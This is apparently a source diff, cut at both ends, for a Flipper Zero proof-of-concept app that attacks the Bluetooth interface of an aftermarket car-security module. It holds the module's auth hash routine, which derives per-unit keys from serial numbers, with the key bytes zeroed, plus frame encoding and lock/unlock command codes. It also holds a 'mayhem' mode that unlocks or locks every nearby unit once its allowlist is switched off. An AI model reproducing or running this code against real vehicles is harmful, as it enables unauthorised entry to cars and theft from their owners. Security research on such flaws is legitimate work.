||||
FURI_LOG_I(TAG, "mayhem: device %zu/%zu '%s'", i + 1, device_count, dev->name);
|
||||
|
||||
bool auth_ok = karr_ble_connect_and_auth(dev, mode, NULL, NULL);
|
||||
if(!auth_ok) {
|
||||
if(callback) callback(dev, KarrMayhemResult_AuthFailed, context);
|
||||
karr_ble_disconnect();
|
||||
continue;
|
||||
}
|
||||
|
||||
bool sent = karr_ble_send_command(command);
|
||||
karr_ble_disconnect();
|
||||
if(callback) {
|
||||
callback(dev, sent ? KarrMayhemResult_Success : KarrMayhemResult_AuthFailed, context);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include "qt_auth.h"
|
||||
#include "qt_protocol.h"
|
||||
|
||||
#define KARR_BLE_SERVICE_UUID "49535343-FE7D-4AE5-8FA9-9FAFD205E455"
|
||||
#define KARR_BLE_CHARACTERISTIC_UUID "49535343-1E4D-4BD9-BA61-23C647249616"
|
||||
|
||||
#define KARR_BLE_MAX_DEVICES 16
|
||||
#define KARR_BLE_NAME_MAX_LEN 32
|
||||
|
||||
typedef struct {
|
||||
char name[KARR_BLE_NAME_MAX_LEN];
|
||||
uint8_t address[6];
|
||||
int8_t rssi;
|
||||
} KarrBleDevice;
|
||||
|
||||
typedef enum {
|
||||
KarrBleStatus_ScanStarted,
|
||||
KarrBleStatus_DeviceFound,
|
||||
KarrBleStatus_Connecting,
|
||||
KarrBleStatus_Connected,
|
||||
KarrBleStatus_ServiceDiscovered,
|
||||
KarrBleStatus_AuthInitSent,
|
||||
KarrBleStatus_ChallengeReceived,
|
||||
KarrBleStatus_AuthResponseSent,
|
||||
KarrBleStatus_AuthSuccess,
|
||||
KarrBleStatus_AuthFailed,
|
||||
KarrBleStatus_CommandSent,
|
||||
KarrBleStatus_Disconnected,
|
||||
KarrBleStatus_Error,
|
||||
} KarrBleStatus;
|
||||
|
||||
typedef void (*KarrBleStatusCallback)(KarrBleStatus status, const char* message, void* context);
|
||||
|
||||
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context);
|
||||
void karr_ble_scan_stop(void);
|
||||
|
||||
bool karr_ble_connect_and_auth(
|
||||
const KarrBleDevice* device,
|
||||
QtMode mode,
|
||||
KarrBleStatusCallback callback,
|
||||
void* context);
|
||||
|
||||
bool karr_ble_send_command(QtCommand command);
|
||||
|
||||
void karr_ble_disconnect(void);
|
||||
|
||||
typedef enum {
|
||||
KarrMayhemResult_Success,
|
||||
KarrMayhemResult_AuthFailed,
|
||||
KarrMayhemResult_ConnectFailed,
|
||||
} KarrMayhemResult;
|
||||
|
||||
typedef void (*KarrMayhemDeviceCallback)(
|
||||
const KarrBleDevice* device,
|
||||
KarrMayhemResult result,
|
||||
void* context);
|
||||
|
||||
void karr_ble_mayhem_run(
|
||||
const KarrBleDevice* devices,
|
||||
size_t device_count,
|
||||
QtMode mode,
|
||||
QtCommand command,
|
||||
KarrMayhemDeviceCallback callback,
|
||||
void* context);
|
||||
@@ -0,0 +1,43 @@
|
||||
#include "qt_auth.h"
|
||||
#include <string.h>
|
||||
|
||||
static const uint8_t DEALER_KEY[16] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t CUSTOMER_KEY[16] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
bool qt_generate_hash(
|
||||
QtMode mode,
|
||||
const uint8_t challenge[QT_CHALLENGE_LEN],
|
||||
const char* unit_serial,
|
||||
uint8_t out[QT_HASH_OUT_LEN]) {
|
||||
uint8_t key[16];
|
||||
|
||||
if(mode == QtMode_User || mode == QtMode_Valet) {
|
||||
if(unit_serial == NULL || strlen(unit_serial) < 10) {
|
||||
return false;
|
||||
}
|
||||
memcpy(key, CUSTOMER_KEY, 16);
|
||||
key[3] = (uint8_t)unit_serial[7];
|
||||
key[6] = (uint8_t)unit_serial[8];
|
||||
key[9] = (uint8_t)unit_serial[9];
|
||||
} else {
|
||||
memcpy(key, DEALER_KEY, 16);
|
||||
}
|
||||
|
||||
for(int i = 0; i < 16; i++) {
|
||||
uint32_t acc = key[i];
|
||||
for(int j = 0; j < QT_CHALLENGE_LEN; j++) {
|
||||
acc = (uint32_t)(acc * 0x21u + challenge[j]);
|
||||
}
|
||||
out[2 * i] = (uint8_t)(acc & 0xFF);
|
||||
out[2 * i + 1] = (uint8_t)((acc >> 8) & 0xFF);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
typedef enum {
|
||||
QtMode_Installer = 0,
|
||||
QtMode_Dealer = 1,
|
||||
QtMode_User = 2,
|
||||
QtMode_NoSale = 3,
|
||||
QtMode_BCA = 4,
|
||||
QtMode_Valet = 5,
|
||||
QtMode_Bootload = 6,
|
||||
QtMode_Unconfigured = 7,
|
||||
} QtMode;
|
||||
|
||||
#define QT_HASH_OUT_LEN 32
|
||||
#define QT_CHALLENGE_LEN 8
|
||||
|
||||
bool qt_generate_hash(
|
||||
QtMode mode,
|
||||
const uint8_t challenge[QT_CHALLENGE_LEN],
|
||||
const char* unit_serial,
|
||||
uint8_t out[QT_HASH_OUT_LEN]);
|
||||
@@ -0,0 +1,82 @@
|
||||
#include "qt_protocol.h"
|
||||
#include <string.h>
|
||||
|
||||
size_t qt_protocol_generate(
|
||||
QtCommand command,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
uint8_t* out_buf,
|
||||
size_t out_buf_size) {
|
||||
bool data_is_null = (data == NULL);
|
||||
size_t effective_data_len = data_is_null ? 1 : data_len;
|
||||
size_t payload_len = effective_data_len + 1;
|
||||
size_t frame_len = 5 + effective_data_len;
|
||||
|
||||
if(frame_len > out_buf_size) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
memset(out_buf, 0, frame_len);
|
||||
|
||||
out_buf[1] = (uint8_t)((payload_len >> 8) & 0xFF);
|
||||
out_buf[2] = (uint8_t)(payload_len & 0xFF);
|
||||
out_buf[3] = (uint8_t)command;
|
||||
|
||||
if(!data_is_null) {
|
||||
memcpy(&out_buf[4], data, data_len);
|
||||
}
|
||||
|
||||
uint32_t checksum = 0;
|
||||
for(size_t i = 0; i < frame_len; i++) {
|
||||
checksum += out_buf[i];
|
||||
}
|
||||
uint8_t crc = (uint8_t)((~(checksum & 0xFF)) + 1);
|
||||
out_buf[frame_len - 1] = crc;
|
||||
|
||||
out_buf[0] = QT_MARKER;
|
||||
|
||||
return frame_len;
|
||||
}
|
||||
|
||||
bool qt_protocol_parse(
|
||||
const uint8_t* uart,
|
||||
size_t uart_len,
|
||||
size_t offset,
|
||||
uint8_t* command_out,
|
||||
uint8_t* data_out,
|
||||
size_t data_out_max,
|
||||
size_t* data_len_out) {
|
||||
if(offset >= uart_len) return false;
|
||||
if(uart[offset] != QT_MARKER) return false;
|
||||
if(offset + 3 > uart_len) return false;
|
||||
|
||||
uint16_t length = ((uint16_t)uart[offset + 1] << 8) | uart[offset + 2];
|
||||
|
||||
size_t crc_pos = offset + 3 + length;
|
||||
if(crc_pos >= uart_len) return false;
|
||||
uint8_t crc_received = uart[crc_pos];
|
||||
|
||||
size_t window_start = offset + 1;
|
||||
size_t window_len = (size_t)length + 2;
|
||||
if(window_start + window_len > uart_len) return false;
|
||||
|
||||
uint32_t checksum = 0;
|
||||
for(size_t i = 0; i < window_len; i++) {
|
||||
checksum += uart[window_start + i];
|
||||
}
|
||||
checksum &= 0xFF;
|
||||
|
||||
if(((crc_received + checksum) & 0xFF) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
*command_out = uart[offset + 3];
|
||||
|
||||
size_t dlen = (length >= 1) ? (length - 1) : 0;
|
||||
if(dlen > data_out_max) return false;
|
||||
|
||||
memcpy(data_out, &uart[offset + 4], dlen);
|
||||
*data_len_out = dlen;
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define QT_MARKER 0xAA
|
||||
#define QT_MAX_DATA_LEN 64
|
||||
#define QT_MAX_FRAME_LEN (QT_MAX_DATA_LEN + 5)
|
||||
|
||||
typedef enum {
|
||||
QtCmd_LockDoors = 0x0B,
|
||||
QtCmd_UnlockDoors = 0x0C,
|
||||
QtCmd_SilentLock = 0x25,
|
||||
QtCmd_SilentUnlock = 0x26,
|
||||
|
||||
QtCmd_AuthInit = 0x22,
|
||||
QtCmd_AuthChallenge = 0x0E,
|
||||
QtCmd_AuthResponse = 0x0F,
|
||||
QtCmd_AuthSuccess = 0x10,
|
||||
} QtCommand;
|
||||
|
||||
size_t qt_protocol_generate(
|
||||
QtCommand command,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
uint8_t* out_buf,
|
||||
size_t out_buf_size);
|
||||
|
||||
bool qt_protocol_parse(
|
||||
const uint8_t* uart,
|
||||
size_t uart_len,
|
||||
size_t offset,
|
||||
uint8_t* command_out,
|
||||
uint8_t* data_out,
|
||||
size_t data_out_max,
|
||||
size_t* data_len_out);
|
||||
@@ -0,0 +1,97 @@
|
||||
#include "karr_poc_app.h"
|
||||
#include "scenes/karr_poc_scene.h"
|
||||
|
||||
extern const SceneManagerHandlers karr_poc_scene_handlers;
|
||||
|
||||
const char* const karr_default_allowlist[] = {
|
||||
"PLACEHOLDER-SERIAL-1",
|
||||
"PLACEHOLDER-SERIAL-2",
|
||||
};
|
||||
const size_t karr_default_allowlist_count =
|
||||
sizeof(karr_default_allowlist) / sizeof(karr_default_allowlist[0]);
|
||||
|
||||
static bool karr_poc_app_custom_event_callback(void* context, uint32_t event) {
|
||||
KarrPocApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
static bool karr_poc_app_back_event_callback(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static KarrPocApp* karr_poc_app_alloc(void) {
|
||||
KarrPocApp* app = malloc(sizeof(KarrPocApp));
|
||||
memset(app, 0, sizeof(KarrPocApp));
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
app->scene_manager = scene_manager_alloc(&karr_poc_scene_handlers, app);
|
||||
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_custom_event_callback(app->view_dispatcher, karr_poc_app_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, karr_poc_app_back_event_callback);
|
||||
|
||||
app->submenu = submenu_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Submenu, submenu_get_view(app->submenu));
|
||||
|
||||
app->widget = widget_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Widget, widget_get_view(app->widget));
|
||||
|
||||
app->text_box = text_box_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_TextBox, text_box_get_view(app->text_box));
|
||||
|
||||
app->log_text = furi_string_alloc();
|
||||
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
|
||||
app->allowlist_enabled = true;
|
||||
app->allowlist_count = karr_default_allowlist_count < KARR_ALLOWLIST_MAX
|
||||
? karr_default_allowlist_count
|
||||
: KARR_ALLOWLIST_MAX;
|
||||
for(size_t i = 0; i < app->allowlist_count; i++) {
|
||||
strncpy(app->allowlist[i], karr_default_allowlist[i], KARR_BLE_NAME_MAX_LEN - 1);
|
||||
app->allowlist[i][KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
}
|
||||
app->mayhem_mode = QtMode_User;
|
||||
app->mayhem_command = QtCmd_UnlockDoors;
|
||||
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void karr_poc_app_free(KarrPocApp* app) {
|
||||
furi_string_free(app->log_text);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
submenu_free(app->submenu);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
widget_free(app->widget);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
text_box_free(app->text_box);
|
||||
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
furi_record_close(RECORD_GUI);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t karr_poc_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
KarrPocApp* app = karr_poc_app_alloc();
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Start);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
karr_poc_app_free(app);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
|
||||
#include "helpers/karr_ble.h"
|
||||
#include "helpers/qt_auth.h"
|
||||
#include "helpers/qt_protocol.h"
|
||||
|
||||
#define KARR_POC_LOG_MAX_LEN 1024
|
||||
|
||||
typedef enum {
|
||||
KarrPocView_Submenu,
|
||||
KarrPocView_Widget,
|
||||
KarrPocView_TextBox,
|
||||
} KarrPocView;
|
||||
|
||||
#define KARR_ALLOWLIST_MAX 4
|
||||
|
||||
extern const char* const karr_default_allowlist[];
|
||||
extern const size_t karr_default_allowlist_count;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
|
||||
Submenu* submenu;
|
||||
Widget* widget;
|
||||
TextBox* text_box;
|
||||
|
||||
KarrBleDevice devices[KARR_BLE_MAX_DEVICES];
|
||||
size_t device_count;
|
||||
size_t selected_device;
|
||||
|
||||
QtMode mode;
|
||||
QtCommand pending_command;
|
||||
|
||||
char allowlist[KARR_ALLOWLIST_MAX][KARR_BLE_NAME_MAX_LEN];
|
||||
size_t allowlist_count;
|
||||
bool allowlist_enabled;
|
||||
QtMode mayhem_mode;
|
||||
QtCommand mayhem_command;
|
||||
|
||||
FuriString* log_text;
|
||||
} KarrPocApp;
|
||||
|
||||
typedef enum {
|
||||
KarrPocEvent_DeviceFound,
|
||||
KarrPocEvent_AuthStep,
|
||||
KarrPocEvent_AuthDone,
|
||||
KarrPocEvent_AuthFailed,
|
||||
KarrPocEvent_CommandDone,
|
||||
|
||||
KarrPocEvent_MayhemToggleAllowlist,
|
||||
KarrPocEvent_MayhemUnlockUser,
|
||||
KarrPocEvent_MayhemLockUser,
|
||||
KarrPocEvent_MayhemUnlockDealer,
|
||||
KarrPocEvent_MayhemLockDealer,
|
||||
KarrPocEvent_MayhemConfirmYes,
|
||||
KarrPocEvent_MayhemConfirmNo,
|
||||
KarrPocEvent_MayhemScanDone,
|
||||
KarrPocEvent_MayhemRunDone,
|
||||
} KarrPocCustomEvent;
|
||||
@@ -0,0 +1,26 @@
|
||||
#include "karr_poc_scene.h"
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
||||
void (*const karr_poc_scene_on_enter_handlers[])(void*) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
||||
bool (*const karr_poc_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
||||
void (*const karr_poc_scene_on_exit_handlers[])(void* context) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
const SceneManagerHandlers karr_poc_scene_handlers = {
|
||||
.on_enter_handlers = karr_poc_scene_on_enter_handlers,
|
||||
.on_event_handlers = karr_poc_scene_on_event_handlers,
|
||||
.on_exit_handlers = karr_poc_scene_on_exit_handlers,
|
||||
.scene_num = KarrPocScene_count,
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/scene_manager.h>
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) KarrPocScene_##id,
|
||||
typedef enum {
|
||||
#include "karr_poc_scene_config.h"
|
||||
KarrPocScene_count,
|
||||
} KarrPocScene;
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) \
|
||||
void prefix##_scene_##name##_on_enter(void* context); \
|
||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); \
|
||||
void prefix##_scene_##name##_on_exit(void* context);
|
||||
#include "karr_poc_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
@@ -0,0 +1,91 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static const char* karr_ble_status_label(KarrBleStatus status) {
|
||||
switch(status) {
|
||||
case KarrBleStatus_ScanStarted:
|
||||
return "Scan started";
|
||||
case KarrBleStatus_DeviceFound:
|
||||
return "Device found";
|
||||
case KarrBleStatus_Connecting:
|
||||
return "Connecting";
|
||||
case KarrBleStatus_Connected:
|
||||
return "Connected";
|
||||
case KarrBleStatus_ServiceDiscovered:
|
||||
return "Service/char OK";
|
||||
case KarrBleStatus_AuthInitSent:
|
||||
return "TX 0x22 (init)";
|
||||
case KarrBleStatus_ChallengeReceived:
|
||||
return "RX 0x0E (challenge)";
|
||||
case KarrBleStatus_AuthResponseSent:
|
||||
return "TX 0x0F (hash)";
|
||||
case KarrBleStatus_AuthSuccess:
|
||||
return "RX 0x10 (success)";
|
||||
case KarrBleStatus_AuthFailed:
|
||||
return "AUTH FAILED";
|
||||
case KarrBleStatus_CommandSent:
|
||||
return "Command sent";
|
||||
case KarrBleStatus_Disconnected:
|
||||
return "Disconnected";
|
||||
case KarrBleStatus_Error:
|
||||
return "ERROR";
|
||||
default:
|
||||
return "?";
|
||||
}
|
||||
}
|
||||
|
||||
static void karr_poc_scene_auth_ble_callback(KarrBleStatus status, const char* message, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
furi_string_cat_printf(app->log_text, "%s: %s\n", karr_ble_status_label(status), message);
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
if(status == KarrBleStatus_AuthSuccess) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthDone);
|
||||
} else if(status == KarrBleStatus_AuthFailed || status == KarrBleStatus_Error) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_auth_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
KarrBleDevice* dev = &app->devices[app->selected_device];
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
text_box_reset(app->text_box);
|
||||
text_box_set_font(app->text_box, TextBoxFontText);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
bool ok = karr_ble_connect_and_auth(dev, app->mode, karr_poc_scene_auth_ble_callback, app);
|
||||
|
||||
if(!ok) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
|
||||
}
|
||||
}
|
||||
|
||||
bool karr_poc_scene_auth_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_AuthDone) {
|
||||
bool sent = karr_ble_send_command(app->pending_command);
|
||||
furi_string_cat_printf(
|
||||
app->log_text, "\n%s\n", sent ? "Command sent OK" : "Failed to send command");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocEvent_AuthFailed) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_auth_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
ADD_SCENE(karr_poc, start, Start)
|
||||
ADD_SCENE(karr_poc, scan, Scan)
|
||||
ADD_SCENE(karr_poc, device_menu, DeviceMenu)
|
||||
ADD_SCENE(karr_poc, auth, Auth)
|
||||
ADD_SCENE(karr_poc, result, Result)
|
||||
ADD_SCENE(karr_poc, mayhem_menu, MayhemMenu)
|
||||
ADD_SCENE(karr_poc, mayhem_confirm, MayhemConfirm)
|
||||
ADD_SCENE(karr_poc, mayhem_scan, MayhemScan)
|
||||
ADD_SCENE(karr_poc, mayhem_run, MayhemRun)
|
||||
@@ -0,0 +1,86 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
typedef enum {
|
||||
KarrPocDeviceMenuIndex_UnlockUser,
|
||||
KarrPocDeviceMenuIndex_LockUser,
|
||||
KarrPocDeviceMenuIndex_UnlockDealer,
|
||||
KarrPocDeviceMenuIndex_LockDealer,
|
||||
} KarrPocDeviceMenuIndex;
|
||||
|
||||
static void karr_poc_scene_device_menu_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_device_menu_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
KarrBleDevice* dev = &app->devices[app->selected_device];
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, dev->name);
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock (mode User)",
|
||||
KarrPocDeviceMenuIndex_UnlockUser,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock (mode User)",
|
||||
KarrPocDeviceMenuIndex_LockUser,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock (mode Dealer)",
|
||||
KarrPocDeviceMenuIndex_UnlockDealer,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock (mode Dealer)",
|
||||
KarrPocDeviceMenuIndex_LockDealer,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_device_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
switch(event.event) {
|
||||
case KarrPocDeviceMenuIndex_UnlockUser:
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_LockUser:
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_LockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_UnlockDealer:
|
||||
app->mode = QtMode_Dealer;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_LockDealer:
|
||||
app->mode = QtMode_Dealer;
|
||||
app->pending_command = QtCmd_LockDoors;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Auth);
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_device_menu_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static void karr_poc_scene_mayhem_confirm_widget_callback(
|
||||
GuiButtonType result,
|
||||
InputType type,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
if(type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, result);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_confirm_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget,
|
||||
0,
|
||||
0,
|
||||
128,
|
||||
44,
|
||||
"ALLOWLIST DISABLED\n\n"
|
||||
"This will send the command\n"
|
||||
"to ALL units that respond\n"
|
||||
"nearby, without filtering.\n\n"
|
||||
"Are you sure?");
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeLeft, "Cancel", karr_poc_scene_mayhem_confirm_widget_callback, app);
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeRight, "Yes, do it", karr_poc_scene_mayhem_confirm_widget_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_confirm_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == GuiButtonTypeRight) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
|
||||
consumed = true;
|
||||
} else if(event.event == GuiButtonTypeLeft) {
|
||||
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_MayhemMenu);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_confirm_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <stdio.h>
|
||||
|
||||
static void karr_poc_scene_mayhem_menu_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_menu_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "Mayhem mode");
|
||||
|
||||
char allowlist_label[48];
|
||||
snprintf(
|
||||
allowlist_label,
|
||||
sizeof(allowlist_label),
|
||||
"Allowlist: %s (%zu)",
|
||||
app->allowlist_enabled ? "ON" : "OFF",
|
||||
app->allowlist_count);
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
allowlist_label,
|
||||
KarrPocEvent_MayhemToggleAllowlist,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock All (User)",
|
||||
KarrPocEvent_MayhemUnlockUser,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock All (User)",
|
||||
KarrPocEvent_MayhemLockUser,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock All (Dealer)",
|
||||
KarrPocEvent_MayhemUnlockDealer,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock All (Dealer)",
|
||||
KarrPocEvent_MayhemLockDealer,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type != SceneManagerEventTypeCustom) return false;
|
||||
|
||||
if(event.event == KarrPocEvent_MayhemToggleAllowlist) {
|
||||
app->allowlist_enabled = !app->allowlist_enabled;
|
||||
karr_poc_scene_mayhem_menu_on_enter(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
